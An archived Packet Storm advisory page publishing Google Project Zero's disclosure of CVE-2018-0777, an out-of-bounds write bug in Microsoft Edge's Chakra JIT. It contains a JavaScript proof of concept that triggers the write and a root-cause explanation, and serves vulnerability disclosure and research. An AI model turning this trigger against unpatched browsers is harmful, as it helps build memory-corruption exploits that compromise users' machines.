Twenty Year Anniversary

Microsoft Edge Chakra JIT Loop Analysis Bug

Microsoft Edge Chakra JIT Loop Analysis Bug
Posted Jan 18, 2018
Authored by Google Security Research, lokihardt

Microsoft Edge Chakra JIT suffers from a loop analysis bug that can perform an out-of-bounds write.

tags | exploit
advisories | CVE-2018-0777
MD5 | ff08702b950d0869cae0d738a90cb6ac

Microsoft Edge Chakra JIT Loop Analysis Bug

Change Mirror Download
Microsoft Edge: Chakra: JIT: Loop analysis bug 

CVE-2018-0777


Here's the PoC demonstrating OOB write.

function opt(arr, start, end) {
for (let i = start; i < end; i++) {
if (i === 10) {
i += 0; // <<-- (a)
}
arr[i] = 2.3023e-320;
}
}

function main() {
let arr = new Array(100);
arr.fill(1.1);

for (let i = 0; i < 1000; i++)
opt(arr, 0, 3);

opt(arr, 0, 100000);
}

main();

What happens here is as follows:
In the first loop analysis, (a) is a valid add operation. It's a relative operation to "i", so Chakra thinks it's a valid loop. The variable "i" now becomes an induction variable, and a LoopCount object is created. When the LoopCount object is created, the ValueInfo of "i" is IntBounded which contains relative bounds information.
In the second loop analysis, (a) gets optimized and becomes a load operation which directly loads 10 to "i". It's no more relative operation, therefore the ValueInfo of "i" is not to be IntBounded. But the LoopCount object has already been created with the previous information. This leads Chakra to fail computing bounds which may result in OOB read/write.



This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available, the bug report will become
visible to the public.




Found by: lokihardt

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

November 2018

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    10 Files
  • 2
    Nov 2nd
    15 Files
  • 3
    Nov 3rd
    2 Files
  • 4
    Nov 4th
    2 Files
  • 5
    Nov 5th
    32 Files
  • 6
    Nov 6th
    27 Files
  • 7
    Nov 7th
    8 Files
  • 8
    Nov 8th
    9 Files
  • 9
    Nov 9th
    17 Files
  • 10
    Nov 10th
    2 Files
  • 11
    Nov 11th
    2 Files
  • 12
    Nov 12th
    33 Files
  • 13
    Nov 13th
    29 Files
  • 14
    Nov 14th
    23 Files
  • 15
    Nov 15th
    45 Files
  • 16
    Nov 16th
    11 Files
  • 17
    Nov 17th
    1 Files
  • 18
    Nov 18th
    1 Files
  • 19
    Nov 19th
    3 Files
  • 20
    Nov 20th
    2 Files
  • 21
    Nov 21st
    0 Files
  • 22
    Nov 22nd
    0 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    0 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2018 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close